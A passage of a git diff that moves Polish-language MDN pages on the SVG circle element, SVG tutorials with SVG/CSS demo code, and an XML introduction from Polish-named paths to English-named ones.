+ Typ wartości : <liczba> ; Wartość domyślna : brak ; Animowalny : tak
+
+ +
+

Uwaga: Począwszy od SVG2 i Geometria Propertie s, czyli te atrybuty mogą być również używane jako właściwości CSS dla tego elementu.SVG2 cx, cyand r are

+
+ +

Globalne atrybuty

+ +
+
Główne atrybuty
+
Przede wszystkim: {{SVGAttr ('id')}}, {{SVGAttr ('tabindex')}}
+
Atrybuty stylizacji
+
{{SVGAttr ('class')}}, {{SVGAttr ('style')}}
+
Atrybuty warunkowego przetwarzania
+
Przede wszystkim: {{SVGAttr ('requiredExtensions')}}, {{SVGAttr ("systemLanguage")}}
+
Atrybuty zdarzeń
+
Global event attributes, Graphical event attributes
+
Presentation Attributes
+
Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}
+
ARIA Attributes
+
aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role
+
+ +

Usage notes

+ +

{{svginfo}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "shapes.html#CircleElement", "<circle>")}}{{Spec2 ("SVG2")}} 
{{SpecName ("SVG1.1", "shapes.html # CircleElement", "<circle>")}}{{Spec2 ("SVG1.1")}}Początkowa definicja
+ +

Zgodność przeglądarki

+ + + +

{{Compat ("svg.elements.circle")}}

+ +

Zobacz też

+ + diff --git "a/files/pl/web/svg/element/okr\304\205g/index.html" "b/files/pl/web/svg/element/okr\304\205g/index.html" deleted file mode 100644 index 6ef2bca50e..0000000000 --- "a/files/pl/web/svg/element/okr\304\205g/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: -slug: Web/SVG/Element/okrąg -translation_of: Web/SVG/Element/circle ---- -
{{SVGRef}}
- -

Element SVG jest podstawowym kształtem SVG, używanym do tworzenia okręgów w oparciu o punkt środkowy i promień.<circle>

- -
- - -
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
-  <circle cx="50" cy="50" r="50" />
-</svg>
- -

{{EmbedLiveSample ("Przykład", 100, 100)}}

-
- -

Atrybuty

- -
-
{{SVGAttr ("cx")}}
-
Ten atrybut definiuje współrzędną osi X środka elementu.
- Typ wartości : <długość> | <procent> ; Wartość domyślna : 0; Animowalny : tak
-
{{SVGAttr ("cy")}}
-
Ten atrybut definiuje współrzędną osi y środka środka elementu.
- Typ wartości<długość> | <procent> ; Wartość domyślna : 0; Animowalny : tak
-
{{SVGAttr ("r")}}
-
Ten atrybut definiuje promień elementu.
- Wartość mniejsza lub równa zero powoduje wyłączenie renderowania okręgu.
- Typ wartości : <length> ; Wartość domyślna : 0; Animowalny : tak
-
{{SVGAttr ("ścieżkaLength")}}
-
Ten atrybut pozwala określić całkowitą długość ścieżki w jednostkach użytkownika.
- Typ wartości : <liczba> ; Wartość domyślna : brak ; Animowalny : tak
-
- -
-

Uwaga: Począwszy od SVG2 i Geometria Propertie s, czyli te atrybuty mogą być również używane jako właściwości CSS dla tego elementu.SVG2 cx, cyand r are

-
- -

Globalne atrybuty

- -
-
Główne atrybuty
-
Przede wszystkim: {{SVGAttr ('id')}}, {{SVGAttr ('tabindex')}}
-
Atrybuty stylizacji
-
{{SVGAttr ('class')}}, {{SVGAttr ('style')}}
-
Atrybuty warunkowego przetwarzania
-
Przede wszystkim: {{SVGAttr ('requiredExtensions')}}, {{SVGAttr ("systemLanguage")}}
-
Atrybuty zdarzeń
-
Global event attributes, Graphical event attributes
-
Presentation Attributes
-
Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}
-
ARIA Attributes
-
aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role
-
- -

Usage notes

- -

{{svginfo}}

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("SVG2", "shapes.html#CircleElement", "<circle>")}}{{Spec2 ("SVG2")}} 
{{SpecName ("SVG1.1", "shapes.html # CircleElement", "<circle>")}}{{Spec2 ("SVG1.1")}}Początkowa definicja
- -

Zgodność przeglądarki

- - - -

{{Compat ("svg.elements.circle")}}

- -

Zobacz też

- -
    -
  • Inne podstawowe kształty SVG: {{SVGElement ('ellipse')}} , {{SVGElement ('line')}}, {{SVGElement ('polygon')}}, {{SVGElement ('polyline')}}, { {SVGElement ("rect")}}
  • -
diff --git a/files/pl/web/svg/inne_zasoby/index.html b/files/pl/web/svg/inne_zasoby/index.html deleted file mode 100644 index 6e5f2508b8..0000000000 --- a/files/pl/web/svg/inne_zasoby/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Inne zasoby -slug: Web/SVG/Inne_zasoby -tags: - - SVG - - Wszystkie_kategorie -translation_of: Web/SVG/Other_Resources ---- -

-

-

Wszystkie inne zasoby

- -{{ languages( { "en": "en/SVG/Other_Resources", "ja": "ja/SVG/Other_Resources" } ) }} diff --git a/files/pl/web/svg/other_resources/index.html b/files/pl/web/svg/other_resources/index.html new file mode 100644 index 0000000000..6e5f2508b8 --- /dev/null +++ b/files/pl/web/svg/other_resources/index.html @@ -0,0 +1,19 @@ +--- +title: Inne zasoby +slug: Web/SVG/Inne_zasoby +tags: + - SVG + - Wszystkie_kategorie +translation_of: Web/SVG/Other_Resources +--- +

+

+

Wszystkie inne zasoby

+ +{{ languages( { "en": "en/SVG/Other_Resources", "ja": "ja/SVG/Other_Resources" } ) }} diff --git a/files/pl/web/svg/przewodnik/index.html b/files/pl/web/svg/przewodnik/index.html deleted file mode 100644 index 7f150c7110..0000000000 --- a/files/pl/web/svg/przewodnik/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: SVG Poradnik -slug: Web/SVG/Przewodnik -tags: - - SVG - - 'SVG:Przewodnik' - - Wszystkie_kategorie -translation_of: Web/SVG/Tutorial ---- -

 

- -


- Poniższy przewodnik opisuje wersję 1.1 Skalowalnej Grafiki Wektorowej SVG, a dialektu XML W3C częściowo zaimplementowanego w Firefoksie 1.5, Operze 8.5 oraz innych przeglądarkach.

- -

Jest on na bardzo wczesnym etapie rozwoju. Każda pomoc będzie doceniona!

- -
Wprowadzenie
- - - -
 
- -

{{ languages( { "en": "en/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial" } ) }}

diff --git a/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html b/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html deleted file mode 100644 index f816909090..0000000000 --- a/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: SVG w XHTML - Wprowadzenie -slug: Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie -tags: - - SVG - - Wszystkie_kategorie -translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction ---- -

-

-

Podsumowanie

-

Ten artykuł oraz powiązany z nim przykład pokazują, jak używać SVG osadzonego w XHTML, jako tła dla formularza. Pokazuje ponadto, jak JavaScript i CSS mogą być zastosowane do manipulowania obrazem w analogiczny sposób, jak kodem XHTML. Uwaga: poniższy przykład będzie działał wyłącznie w przeglądarkach obsługujących integrację XHTML (nie HTML) z SVG (jak np. Firefox 1.5 Beta 1 - przyp. tłum.) -

-

Kod źródłowy

-

Poniżej przedstawiono kod źródłowy przykładu zastosowania SVG osadzonego w XHTML: -

-
<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>XTech SVG Demo</title>
-  <style>
-    stop.begin { stop-color:yellow; }
-    stop.end { stop-color:green; }
-    body.invalid stop.end { stop-color:red; }
-    #err { display:none; }
-    body.invalid #err { display:inline; }
-  </style>
-  <script>
-    function signalError() {
-      document.getElementById('body').setAttribute("class", "invalid");
-    }
-  </script>
-</head>
-<body id="body"
-   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;">
-  <form>
-     <fieldset>
-       <legend>HTML Form</legend>
-       <p><label>Enter something:</label>
-          <input type="text"/>
-          <span id="err">Incorrect value!</span></p>
-       <p><button onclick="signalError();">Activate!</button></p>
-     </fieldset>
-  </form>
-  <svg xmlns="http://www.w3.org/2000/svg" version="1.1"
-    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
-    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;">
-    <linearGradient id="gradient">
-      <stop class="begin" offset="0%"/>
-      <stop class="end" offset="100%"/>
-    </linearGradient>
-    <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" />
-    <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" />
-  </svg>
-</body>
-</html>
-

Omówienie

-

Powyższa strona składa się głównie ze zwykłego XHTML, CSS i JavaScriptu. Interesującą częścią -jest element <svg>. Ten element i jego elementy potomne zostały zadeklarowane w przestrzeni nazw SVG. Element ten zawiera gradient oraz dwie figury nim wypełnione. Kolory ograniczników (ang. stops) gradientu zostały ustawione przez CSS. Kiedy użytkownik wprowadzi coś nieprawidłowego do pola formularza, skrypt ustawia atrybut "invalid" na elemencie <body>, a odpowiednia regułka CSS zmienia końcowy kolor na czerwony. Kolejna regułka CSS wyświetla komunikat o błędzie. -

To podejście ma następujące zalety: -

-
  • zastosowaliśmy zwykły formularz XHTML, który mógłby być częścią istniejącej strony www i dodaliśmy atrakcyjne, interaktywne tło -
  • zachowana została wsteczna kompatybilność z przeglądarkami, które nie obsługują SVG; po prostu nie pojawi się w nich żadne tło -
  • rozwiązanie to jest proste i wydajne -
  • obraz dynamicznie dopasowuje się do żądanych rozmiarów w inteligentny sposób -
  • możemy mieć deklaratywne regułki stylów działające i z HTML, i z SVG -
  • ten sam skrypt manipuluje zarówno XHTML jak i SVG -
  • dokument jest całkowicie oparty na standardach -
-

Szczegóły

-

Atrybut viewBox tworzy logiczny układ współrzędnych dla obrazu SVG. W tym przypadku nasz obraz jest wyświetlany w oknie (viewport) 100 na 100. -

Atrybut preserveAspectRatio sprawia, że stosunek wymiarów obrazu musi być zachowany, centrując obraz, zmieniając jego wymiary do największej możliwej długości lub szerokości (zależnie od tego, która jest większa) i odcinając ewentualne przepełnienie. -

Atrybut style przypina element SVG do tła formularza. -

-

Inne strony

- -{{ languages( { "en": "en/SVG_In_HTML_Introduction", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }} diff --git a/files/pl/web/svg/tutorial/index.html b/files/pl/web/svg/tutorial/index.html new file mode 100644 index 0000000000..7f150c7110 --- /dev/null +++ b/files/pl/web/svg/tutorial/index.html @@ -0,0 +1,28 @@ +--- +title: SVG Poradnik +slug: Web/SVG/Przewodnik +tags: + - SVG + - 'SVG:Przewodnik' + - Wszystkie_kategorie +translation_of: Web/SVG/Tutorial +--- +

 

+ +


+ Poniższy przewodnik opisuje wersję 1.1 Skalowalnej Grafiki Wektorowej SVG, a dialektu XML W3C częściowo zaimplementowanego w Firefoksie 1.5, Operze 8.5 oraz innych przeglądarkach.

+ +

Jest on na bardzo wczesnym etapie rozwoju. Każda pomoc będzie doceniona!

+ +
Wprowadzenie
+ + + +
 
+ +

{{ languages( { "en": "en/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial" } ) }}

diff --git a/files/pl/web/svg/tutorial/svg_and_css/index.html b/files/pl/web/svg/tutorial/svg_and_css/index.html new file mode 100644 index 0000000000..1581fbdcd8 --- /dev/null +++ b/files/pl/web/svg/tutorial/svg_and_css/index.html @@ -0,0 +1,195 @@ +--- +title: Grafika SVG +slug: Web/CSS/Na_początek/Grafika_SVG +tags: + - 'CSS:Na_początek' +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +

+

Ta strona ilustruje specjalny język do tworzenia grafiki: SVG. +

Stworzysz prostą demonstrację, która działa w przeglądarce Mozilli z obsługą SVG.

+

Informacja: SVG

+

SVG (Skalowalna Grafika Wektorowa) jest bazującym na XML-u językiem do tworzenia grafiki. +

Może być używana do tworzenia statycznych obrazków, ale także animacji i interfejsów użytkownika. +

Podobnie jak inne bazujące na XML-u języki, SVG obsługuje arkusze stylów CSS, dzięki czemu możesz oddzielić styl grafiki od jej zawartości. +

Ponadto, arkusz stylów, którego używasz w innych językach znaczników dokumentu, może wskazywać adres grafiki SVG tam, gdzie potrzebny jest obrazek. +Na przykład, arkusz stylów, którego używasz w dokumencie HTML może wskazywać na adres URL grafiki SVG jako wartość własności background. +

+ + +
Więcej szczegółów +
W trakcie pisania tego kursu (połowa 2005) tylko najnowsze wydania przeglądarek Mozilli posiadają wbudowaną obsługę SVG. +

Możesz dodać wsparcie dla SVG do innych wersji instalując wtyczkę taką, jak ta wydana przez Adobe. +

Aby dowiedzieć się więcej o SVG w Mozilli, zajrzyj na stronę SVG w tym wiki. +

+
+

Zadanie: Demonstracja SVG

+

Stwórz nowy dokument SVG jako czysty plik tekstowy, doc8.svg. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +

+
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Move your mouse pointer over the flower.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+

Stwórz nowy plik CSS, style8.css. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +

+
/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+

Otwórz ten dokument w swojej przeglądarce z obsługą SVG. Przesuwaj kursor myszy nad grafiką. +

To wiki nie obsługuję SVG na stronach, więc nie jest możliwe pokazanie demonstracji. +Grafika wygląda mniej więcej tak: +

+ + +
Demonstracja SVG +
+

Uwagi dotyczące tej demonstracji: +

+
  • Dokument SVG posiada odnośniki do arkusza stylów. +
  • SVG posiada własne własności i wartości CSS. Niektóre z nich są podobne do własności CSS dla HTML-a. +
+


+

+ + +
Wyzwanie +
Zmień ten arkusz stylów, aby wewnętrzne płatki zmieniały się wszystkie na różowy, kiedy wskaźnik myszy znajduje się nad jednym z nich, bez zmiany działania zewnętrznych płatków. +
+


+

+

Co dalej?

+

Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie Dyskusji. +

W tej demonstracji Twoja przeglądarka, obsługująca SVG, umie już wyświetlić elementy SVG. +Arkusz stylów modyfikuje tylko sposób wyświetlania elementów. +Tak samo dzieje się z dokumentami HTML i XUL. +Możesz też używać CSS-a w dokumentach XML ogólnego przeznaczenia, gdzie nie istnieje domyślny sposób wyświetlania elementów. +Następna strona omawia ten temat: +Dane XML +

{{ languages( { "en": "en/CSS/Getting_Started/SVG_graphics", "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pt": "pt/CSS/Como_come\u00e7ar/Gr\u00e1ficos_SVG" } ) }} diff --git a/files/pl/web/svg/tutorial/svg_in_html_introduction/index.html b/files/pl/web/svg/tutorial/svg_in_html_introduction/index.html new file mode 100644 index 0000000000..f816909090 --- /dev/null +++ b/files/pl/web/svg/tutorial/svg_in_html_introduction/index.html @@ -0,0 +1,78 @@ +--- +title: SVG w XHTML - Wprowadzenie +slug: Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie +tags: + - SVG + - Wszystkie_kategorie +translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction +--- +

+

+

Podsumowanie

+

Ten artykuł oraz powiązany z nim przykład pokazują, jak używać SVG osadzonego w XHTML, jako tła dla formularza. Pokazuje ponadto, jak JavaScript i CSS mogą być zastosowane do manipulowania obrazem w analogiczny sposób, jak kodem XHTML. Uwaga: poniższy przykład będzie działał wyłącznie w przeglądarkach obsługujących integrację XHTML (nie HTML) z SVG (jak np. Firefox 1.5 Beta 1 - przyp. tłum.) +

+

Kod źródłowy

+

Poniżej przedstawiono kod źródłowy przykładu zastosowania SVG osadzonego w XHTML: +

+
<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+  <title>XTech SVG Demo</title>
+  <style>
+    stop.begin { stop-color:yellow; }
+    stop.end { stop-color:green; }
+    body.invalid stop.end { stop-color:red; }
+    #err { display:none; }
+    body.invalid #err { display:inline; }
+  </style>
+  <script>
+    function signalError() {
+      document.getElementById('body').setAttribute("class", "invalid");
+    }
+  </script>
+</head>
+<body id="body"
+   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;">
+  <form>
+     <fieldset>
+       <legend>HTML Form</legend>
+       <p><label>Enter something:</label>
+          <input type="text"/>
+          <span id="err">Incorrect value!</span></p>
+       <p><button onclick="signalError();">Activate!</button></p>
+     </fieldset>
+  </form>
+  <svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;">
+    <linearGradient id="gradient">
+      <stop class="begin" offset="0%"/>
+      <stop class="end" offset="100%"/>
+    </linearGradient>
+    <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" />
+    <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" />
+  </svg>
+</body>
+</html>
+

Omówienie

+

Powyższa strona składa się głównie ze zwykłego XHTML, CSS i JavaScriptu. Interesującą częścią +jest element <svg>. Ten element i jego elementy potomne zostały zadeklarowane w przestrzeni nazw SVG. Element ten zawiera gradient oraz dwie figury nim wypełnione. Kolory ograniczników (ang. stops) gradientu zostały ustawione przez CSS. Kiedy użytkownik wprowadzi coś nieprawidłowego do pola formularza, skrypt ustawia atrybut "invalid" na elemencie <body>, a odpowiednia regułka CSS zmienia końcowy kolor na czerwony. Kolejna regułka CSS wyświetla komunikat o błędzie. +

To podejście ma następujące zalety: +

+
  • zastosowaliśmy zwykły formularz XHTML, który mógłby być częścią istniejącej strony www i dodaliśmy atrakcyjne, interaktywne tło +
  • zachowana została wsteczna kompatybilność z przeglądarkami, które nie obsługują SVG; po prostu nie pojawi się w nich żadne tło +
  • rozwiązanie to jest proste i wydajne +
  • obraz dynamicznie dopasowuje się do żądanych rozmiarów w inteligentny sposób +
  • możemy mieć deklaratywne regułki stylów działające i z HTML, i z SVG +
  • ten sam skrypt manipuluje zarówno XHTML jak i SVG +
  • dokument jest całkowicie oparty na standardach +
+

Szczegóły

+

Atrybut viewBox tworzy logiczny układ współrzędnych dla obrazu SVG. W tym przypadku nasz obraz jest wyświetlany w oknie (viewport) 100 na 100. +

Atrybut preserveAspectRatio sprawia, że stosunek wymiarów obrazu musi być zachowany, centrując obraz, zmieniając jego wymiary do największej możliwej długości lub szerokości (zależnie od tego, która jest większa) i odcinając ewentualne przepełnienie. +

Atrybut style przypina element SVG do tła formularza. +

+

Inne strony

+ +{{ languages( { "en": "en/SVG_In_HTML_Introduction", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }} diff --git a/files/pl/web/xml/wprowadzenie_do_xml-a/index.html b/files/pl/web/xml/wprowadzenie_do_xml-a/index.html deleted file mode 100644 index fbc828653f..0000000000 --- a/files/pl/web/xml/wprowadzenie_do_xml-a/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Wprowadzenie do XML-a -slug: Web/XML/Wprowadzenie_do_XML-a -tags: - - CSS - - HTML - - Wszystkie_kategorie - - XML - - XSLT -translation_of: Web/XML/XML_introduction ---- -

-

Summary: This article introduces the 'eXtensible Markup Language' (XML) and tells of it's uses. -

-

Czym jest XML?

-

XML, akronim od Extensible Markup Language (Rozszerzalny Język Znaczników), jest językiem znaczników tworzonym przez W3C do celów ogólnych. XML jest także podjęzykiem dla SGML-a. -

Wiele popularnych języków znaczników bazuje na XMLu, jak np. XHTML, MathML, SVG, XUL i inne takie jak RSS oraz RDF. -

-

Czemu HTML nie działa?

-

Składnia HTML-a jest ustalona, HTML służy wyłącznie do celów prezentacji danych, natomiast XML służy zarówno do prezentacji jak i obróbki treści. -

HTML jest ograniczony w trzech aspektach: "inteligencji" opisu informacji, pielęgnacji oraz adaptowalności kodu, w których XML jest właśnie silny: inteligentnie opisuje informację, pozwala na wygodną pielęgnację oraz adaptację kodu. -

XML różni się też od HTML-a tym, że HTML jest językiem prezentacji, a XML językiem ogólnego zastosowania. Te dwa języki mogą zostać użyte na raz dzięki XSLT. -

-

"Poprawny" XML

-

Aby dokument XML był poprawny, musi zostać poprawnie sformatowany i spełniać wszystkie zasady składni XML-a. Większość przeglądarek, włączając w to Mozillę posiada debugger, który potrafi pokazać błędy składniowe dokumentu. -

-

Prezentacja XML-a

-

Są dwie metody na korzystanie z XML-a do prezentacji danych. -

Pierwsza, to skorzystanie z technologii CSS do formatowania danych XML. -

-
<?xml-stylesheet type="text/css" href="stylesheet.css"?>
-

Druga, to skorzystanie z potęgi XSLT, który jest w stanie transformować składnię XML do ogromnej ilości innych formatów (PDF, HTML, obrazki, WAP itd.). -

-
<?xml-stylesheet type="text/xsl" href="transform.xsl"?>
-

Zalecenia

-

Polecamy przeczytanie innych poradników do XML-a i odświeżenie wiedzy na temat jego składni. Należy pamiętać, że ten poradnik jest tylko krótkim wstępem dla osób, które nigdy nie zetknęły się z językiem XML lub innymi językami znacznikowymi. -

Warto nauczyć się języka HTML, aby lepiej zrozumieć XML, lub zapoznać się z innymi przewodnikami z tej strony. -

-
-

Informacja o wersji

-
  • Autor: Justin G. Shreve -
  • Ostatnia aktualizacja: 19 Maja -
  • Tłumaczenie: Zbigniew Braniecki -
-
-{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "fr": "fr/Introduction_\u00e0_XML", "ja": "ja/XML_Introduction", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }} diff --git a/files/pl/web/xml/xml_introduction/index.html b/files/pl/web/xml/xml_introduction/index.html new file mode 100644 index 0000000000..fbc828653f --- /dev/null +++ b/files/pl/web/xml/xml_introduction/index.html @@ -0,0 +1,46 @@ +--- +title: Wprowadzenie do XML-a +slug: Web/XML/Wprowadzenie_do_XML-a +tags: + - CSS + - HTML + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XML/XML_introduction +--- +

+

Summary: This article introduces the 'eXtensible Markup Language' (XML) and tells of it's uses. +

+

Czym jest XML?

+

XML, akronim od Extensible Markup Language (Rozszerzalny Język Znaczników), jest językiem znaczników tworzonym przez W3C do celów ogólnych. XML jest także podjęzykiem dla SGML-a. +

Wiele popularnych języków znaczników bazuje na XMLu, jak np. XHTML, MathML, SVG, XUL i inne takie jak RSS oraz RDF. +

+

Czemu HTML nie działa?

+

Składnia HTML-a jest ustalona, HTML służy wyłącznie do celów prezentacji danych, natomiast XML służy zarówno do prezentacji jak i obróbki treści. +

HTML jest ograniczony w trzech aspektach: "inteligencji" opisu informacji, pielęgnacji oraz adaptowalności kodu, w których XML jest właśnie silny: inteligentnie opisuje informację, pozwala na wygodną pielęgnację oraz adaptację kodu. +

XML różni się też od HTML-a tym, że HTML jest językiem prezentacji, a XML językiem ogólnego zastosowania. Te dwa języki mogą zostać użyte na raz dzięki XSLT. +

+

"Poprawny" XML

+

Aby dokument XML był poprawny, musi zostać poprawnie sformatowany i spełniać wszystkie zasady składni XML-a. Większość przeglądarek, włączając w to Mozillę posiada debugger, który potrafi pokazać błędy składniowe dokumentu. +

+

Prezentacja XML-a

+

Są dwie metody na korzystanie z XML-a do prezentacji danych. +

Pierwsza, to skorzystanie z technologii CSS do formatowania danych XML. +

+
<?xml-stylesheet type="text/css" href="stylesheet.css"?>
+

Druga, to skorzystanie z potęgi XSLT, który jest w stanie transformować składnię XML do ogromnej ilości innych formatów (PDF, HTML, obrazki, WAP itd.). +

+
<?xml-stylesheet type="text/xsl" href="transform.xsl"?>
+

Zalecenia

+

